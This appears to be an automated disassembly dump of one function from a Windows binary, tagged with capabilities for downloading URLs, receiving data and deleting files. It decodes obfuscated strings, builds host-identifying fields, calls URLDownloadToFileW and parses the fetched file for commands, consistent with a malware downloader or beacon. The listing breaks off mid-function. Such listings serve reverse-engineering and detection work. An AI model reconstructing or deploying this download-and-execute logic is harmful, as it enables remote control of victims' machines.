Function at 0x14000a2f0
Capabilities:
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
movzx r13d, dl
mov r12, rcx
xor esi, esi
mov dword [rbp + 0x540], esi
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cc73
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x70], rax
lea rdi, str.bnBtYnNhcg
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.140031e00
lea rbx, [rsi - 1]
test al, al
jne 0x14000a37a
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a360
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cc7e
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x38], rax
lea rdi, str.YW1scmN2cnNfal1tZGRjcA
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140031e00
test al, al
jne 0x14000a3cd
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a3b3
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cc89
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x40], rax
lea rdi, str.bmNwZ21iZ2Ffal1tZGRjcA
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140031e00
test al, al
jne 0x14000a420
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a406
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cc94
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x38], rax
lea rdi, str.ZGdqY11jcHBtcA
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.140031e00
test al, al
jne 0x14000a47a
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a460
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cc9f
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x60], rax
lea rdi, str.al9xcl1nYjsjYg
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140031e00
test al, al
jne 0x14000a4cd
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a4b3
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ccaa
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0xb8], rax
lea rdi, str.Sl9xclJna2M
mov rdx, rdi
lea rcx, [rbp + 0xb8]
call fcn.140031e00
test al, al
jne 0x14000a52d
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000a510
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xb8]
call fcn.140032190
nop
mov qword [rbp + 0x308], rsi
mov qword [rbp + 0x318], rsi
mov qword [rbp + 0x320], rsi
mov r8d, 0x10
lea rdx, str.bmNwZ21iZ2Ffag
lea rcx, [rbp + 0x308]
call fcn.140030750
nop
mov qword [rbp + 0x2e8], rsi
mov qword [rbp + 0x2f8], rsi
mov qword [rbp + 0x300], rsi
mov r8d, 0x74
lea rdx, str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IG1nYiA4I2IqIG1yd25jIDggbmNwZ21iZ2FfaiB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
lea rcx, [rbp + 0x2e8]
call fcn.140030750
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ccb5
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x30], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ccc0
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x88], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cccb
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x70], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ccd6
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x420], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cce1
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x2c8], rsi
mov qword [rbp + 0x2d8], rsi
mov qword [rbp + 0x2e0], rsi
mov r8d, 8
lea rdx, str.ZF8sdmtq
lea rcx, [rbp + 0x2c8]
call fcn.140030750
nop
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x100], rsi
lea r15, [rbp + 0x2c8]
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x410], rax
cmp rax, 8
cmovae r15, qword [rbp + 0x2c8]
movabs rdi, 0x7ffffffffffffffe
mov r14, qword [rbp + 0x2d8]
cmp r14, rdi
ja 0x14000ccec
mov eax, 0xa
mov qword [rbp + 0x100], 7
cmp r14, 8
jae 0x14000a6e1
mov qword [rbp + 0xf8], r14
lea r8d, [rax + 6]
mov rdx, r15
lea rcx, [rbp + 0xe8]
call fcn.140185440
jmp 0x14000a733
mov rsi, r14
or rsi, 7
cmp rsi, rdi
jbe 0x14000a6f2
mov rsi, rdi
jmp 0x14000a6f9
cmp rsi, rax
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp + 0xe8]
call fcn.140030fc0
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], rsi
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
xor esi, esi
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x440]
call fcn.14004bc20
nop
mov r9, qword [rax]
mov r8, qword [r12 + 8]
lea rdx, str._ws_ws
lea rcx, [rbp + 0x30]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x440]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000a780
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbp + 0x2a8], rsi
mov qword [rbp + 0x2b8], rsi
mov qword [rbp + 0x2c0], rsi
mov r8d, 8
lea rdx, str.Sl9xckdC
lea rcx, [rbp + 0x2a8]
call fcn.140030750
nop
mov qword [rbp + 0x288], rsi
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x2a0], rsi
mov r8d, 0xc
lea rdx, str.Sl9xclJna2M
lea rcx, [rbp + 0x288]
call fcn.140030750
nop
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x548], rax
mov rcx, qword [0x140223368]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x3b0]
call fcn.14004beb0
mov r12, rax
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], rsi
lea r15, [rbp + 0x2a8]
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x40], rax
cmp rax, 8
cmovae r15, qword [rbp + 0x2a8]
mov r14, qword [rbp + 0x2b8]
cmp r14, rdi
ja 0x14000ccf2
mov qword [rbp + 0x120], 7
cmp r14, 8
jae 0x14000a88f
mov qword [rbp + 0x118], r14
mov r8d, 0x10
mov rdx, r15
lea rcx, [rbp + 0x108]
call fcn.140185440
jmp 0x14000a8e7
mov rsi, r14
or rsi, 7
cmp rsi, rdi
jbe 0x14000a8a0
mov rsi, rdi
jmp 0x14000a8ad
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp + 0x108]
call fcn.140030fc0
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x118], r14
mov qword [rbp + 0x120], rsi
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
xor esi, esi
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x3f8]
call fcn.14004bc20
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x400]
call fcn.14004f5f0
mov rcx, qword [rax]
call fcn.14018b750
mov dword [rbp - 0x78], eax
mov rdx, qword [rbp + 0x400]
add rdx, 0xffffffffffffffe8
mov ecx, ebx
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14000a939
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rbp + 0x408]
mov qword [rbp + 0x548], rax
mov rcx, qword [0x140223368]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x408]
call fcn.14004beb0
mov r12, rax
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x140], rsi
lea r15, [rbp + 0x288]
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x48], rax
cmp rax, 8
cmovae r15, qword [rbp + 0x288]
mov r14, qword [rbp + 0x298]
cmp r14, rdi
ja 0x14000ccf8
mov qword [rbp + 0x140], 7
cmp r14, 8
jae 0x14000a9ea
mov qword [rbp + 0x138], r14
mov r8d, 0x10
mov rdx, r15
lea rcx, [rbp + 0x128]
call fcn.140185440
jmp 0x14000aa40
mov rsi, r14
or rsi, 7
cmp rsi, rdi
jbe 0x14000a9fb
mov rsi, rdi
jmp 0x14000aa08
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp + 0x128]
call fcn.140030fc0
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x140], rsi
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x430]
call fcn.14004bc20
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x438]
call fcn.14004f5f0
mov rcx, qword [rax]
call fcn.14018b750
mov dword [rbp + 0x548], eax
mov rdx, qword [rbp + 0x438]
add rdx, 0xffffffffffffffe8
mov ecx, ebx
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14000aa95
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ccfe
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0xc0], rax
lea rdi, str.ZnJybnE4LS1uYV9ubixxcm1wYy1sbXJnZHddX25uXXQwLG5mbj1lc2diOw
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.140031e00
test al, al
jne 0x14000aaf1
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000aad4
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd09
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0xb0], rax
lea rdi, str.JGpfcXJnYjs
mov rdx, rdi
lea rcx, [rbp + 0xb0]
call fcn.140031e00
test al, al
jne 0x14000ab4d
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ab30
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xb0]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd14
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0xa8], rax
lea rdi, str.JGpfcXJyZ2tjOw
mov rdx, rdi
lea rcx, [rbp + 0xa8]
call fcn.140031e00
test al, al
jne 0x14000abad
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ab90
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xa8]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd1f
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x98], rax
lea rdi, str.JGxtYV9hZmM7
mov rdx, rdi
lea rcx, [rbp + 0x98]
call fcn.140031e00
test al, al
jne 0x14000ac0d
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000abf0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x98]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd2a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0xa0], rax
lea rdi, str.JGNsYl10Ow
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.140031e00
test al, al
jne 0x14000ac6d
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ac50
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd35
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x28], rax
lea rdi, str.JGRtcGFjOy8
mov rdx, rdi
lea rcx, [rbp + 0x28]
call fcn.140031e00
test al, al
jne 0x14000acc0
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000aca6
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x28]
call fcn.140032190
nop
lea rdi, [0x1401e3cf8]
test r13b, r13b
je 0x14000ad07
mov rcx, qword [rbp + 0x28]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x210], rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x470]
call fcn.14004beb0
nop
mov dword [rbp + 0x540], 1
mov rbx, qword [rax]
jmp 0x14000ad5e
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd40
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x30], rax
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140031e00
test al, al
jne 0x14000ad50
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x14000ad36
mov r8d, ebx
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140032190
nop
mov dword [rbp + 0x540], 2
mov rbx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rsp + 0x78], rax
mov rcx, qword [rbp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x3e0], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x218], rax
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x468]
call fcn.14004beb0
nop
mov r12, qword [rax]
mov rsi, qword [rbp + 0x530]
mov r13, qword [rsi + 0x10]
mov rcx, qword [rbp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x3d8], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x220], rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x460]
call fcn.14004beb0
nop
mov r15, qword [rax]
mov rcx, qword [rbp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x3e8], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x228], rax
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x458]
call fcn.14004beb0
nop
mov r14, qword [rax]
mov rcx, qword [rbp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x3f0], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x450]
call fcn.14004beb0
nop
mov rdi, qword [rax]
mov rsi, qword [rsi]
mov rcx, qword [rbp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rbp - 0x68], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x238], rax
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x448]
call fcn.14004beb0
nop
mov qword [rsp + 0x60], rbx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r15
mov ecx, dword [rbp + 0x548]
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r14
mov ecx, dword [rbp - 0x78]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov r8, qword [rax]
lea rdx, str._ws_ws_ws_d_ws_d_ws_ws_ws_llu_ws
lea rcx, [rbp + 0x88]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x448]
add rdx, 0xffffffffffffffe8
mov rsi, 0xffffffffffffffff
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000af09
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x450]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000af2a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x458]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000af4b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x460]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000af6c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x468]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000af8d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, dword [rbp + 0x540]
test al, 2
je 0x14000afc3
and eax, 0xfffffffd
mov dword [rbp + 0x540], eax
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000afbd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [rbp + 0x540]
test al, 1
je 0x14000aff0
and eax, 0xfffffffe
mov dword [rbp + 0x540], eax
mov rdx, qword [rbp + 0x470]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000aff0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor r13d, r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rdx, [0x1401d8a04]
mov rcx, qword [rbp + 0x30]
call fcn.14018ba40
mov rdi, rax
mov qword [rbp + 0x548], rax
test rax, rax
je 0x14000c75d
mov rdx, rax
lea rcx, [rbp + 0x478]
call fcn.14004fb70
nop
mov r9, qword [rax]
lea rdx, [r9 - 0x18]
mov rbx, qword [rsp + 0x70]
add rbx, 0xffffffffffffffe8
cmp rdx, rbx
je 0x14000b0b0
mov eax, dword [rbx + 0x10]
shr eax, 0x1f
test al, al
jne 0x14000b09e
mov rax, qword [rbx]
cmp qword [rdx], rax
jne 0x14000b09e
mov rcx, rdx
call fcn.1400318c0
mov rdi, rax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x14000b08c
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
mov rdi, qword [rbp + 0x548]
jmp 0x14000b0b0
mov r8d, dword [r9 - 0x10]
mov rdx, r9
lea rcx, [rsp + 0x70]
call fcn.140032190
nop
mov rdx, qword [rbp + 0x478]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b0d1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rsp + 0x70]
movzx ecx, word [rbx]
mov r15d, 0x2e
sub ecx, r15d
jne 0x14000b0ee
movzx ecx, word [rbx + 2]
movzx eax, r13w
sub ecx, eax
test ecx, ecx
jne 0x14000b18b
mov rdx, rdi
lea rcx, [rbp + 0x480]
call fcn.14004fb70
nop
mov r14, qword [rbp + 0x530]
mov rdx, rax
lea rcx, [r14 + 0x60]
call fcn.140024710
nop
mov rdx, qword [rbp + 0x480]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b13b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [r14 + 0x60]
movzx ecx, word [rdx]
sub ecx, r15d
jne 0x14000b151
movzx ecx, word [rdx + 2]
movzx eax, r13w
sub ecx, eax
test ecx, ecx
jne 0x14000c746
mov byte [r14 + 0x32], cl
mov rax, rsi
lea rdx, [0x1401e3cf8]
nop word [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x14000b170
mov r8d, eax
lea rcx, [r14 + 0x60]
call fcn.140032190
jmp 0x14000c746
movzx ecx, word [rbx]
sub ecx, 0x23
jne 0x14000b19d
movzx ecx, word [rbx + 2]
movzx eax, r13w
sub ecx, eax
test ecx, ecx
jne 0x14000bbe7
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd4b
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x18], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140031e00
test al, al
jne 0x14000b1fa
mov rax, rsi
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000b1e0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd56
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x20], rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140031e00
test al, al
jne 0x14000b24a
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000b230
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cd61
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x28], rax
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140031e00
test al, al
jne 0x14000b29a
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000b280
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140032190
nop
mov rcx, qword [rbp - 0x38]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x248], rax
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x490]
call fcn.14004beb0
mov rbx, rax
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x250], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x488]
call fcn.14004beb0
nop
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x20]
lea r8, [rbp - 0x28]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 0x488]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b332
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x490]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b353
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b371
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x20]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b38f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b3ac
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov ecx, 0x28
call fcn.1401833e0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
mov rcx, rdi
call fcn.14018ba54
test eax, eax
jne 0x14000bad9
mov r15d, 0xffffffff
mov rbx, qword [rsp + 0x70]
nop
mov rdx, rdi
lea rcx, [rbp + 0x328]
call fcn.14004fb70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14000b464
mov eax, dword [rbx + 0x10]
shr eax, 0x1f
test al, al
jne 0x14000b455
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14000b455
call fcn.1400318c0
mov rdi, rax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x14000b443
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
mov rdi, qword [rbp + 0x548]
jmp 0x14000b464
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140032190
nop
mov rdx, qword [rbp + 0x328]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b484
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x70]
cmp dword [rbx - 0x10], 0x14
jl 0x14000bac9
mov r8d, 8
lea rdx, [rbp + 0x338]
lea rcx, [rsp + 0x70]
call fcn.140024140
mov rdi, rax
mov rax, qword [rax]
cmp dword [rax - 8], 1
jle 0x14000b4c1
mov edx, dword [rax - 0x10]
mov rcx, rdi
call fcn.140031f90
mov rdx, qword [rdi]
mov qword [rbp + 0x498], r13
mov qword [rbp + 0x4a8], r13
mov qword [rbp + 0x4b0], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000b4e0
lea rcx, [rbp + 0x498]
call fcn.140030750
nop
call fcn.140189d70
mov r14, rax
lea rdi, [rbp + 0x498]
cmp qword [rbp + 0x4b0], 8
cmovae rdi, qword [rbp + 0x498]
mov dword [rax], r13d
mov r8d, 0x10
lea rdx, [rbp + 0x330]
mov rcx, rdi
call fcn.14018bd50
cmp rdi, qword [rbp + 0x330]
je 0x14000ce03
cmp dword [r14], 0x22
je 0x14000cdf6
mov r13d, r15d
cmp rax, r15
cmovbe r13d, eax
lea rcx, [rbp + 0x498]
call fcn.140031830
nop
mov rdx, qword [rbp + 0x338]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b57d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edx, dword [rbx - 0x10]
lea eax, [rdx - 8]
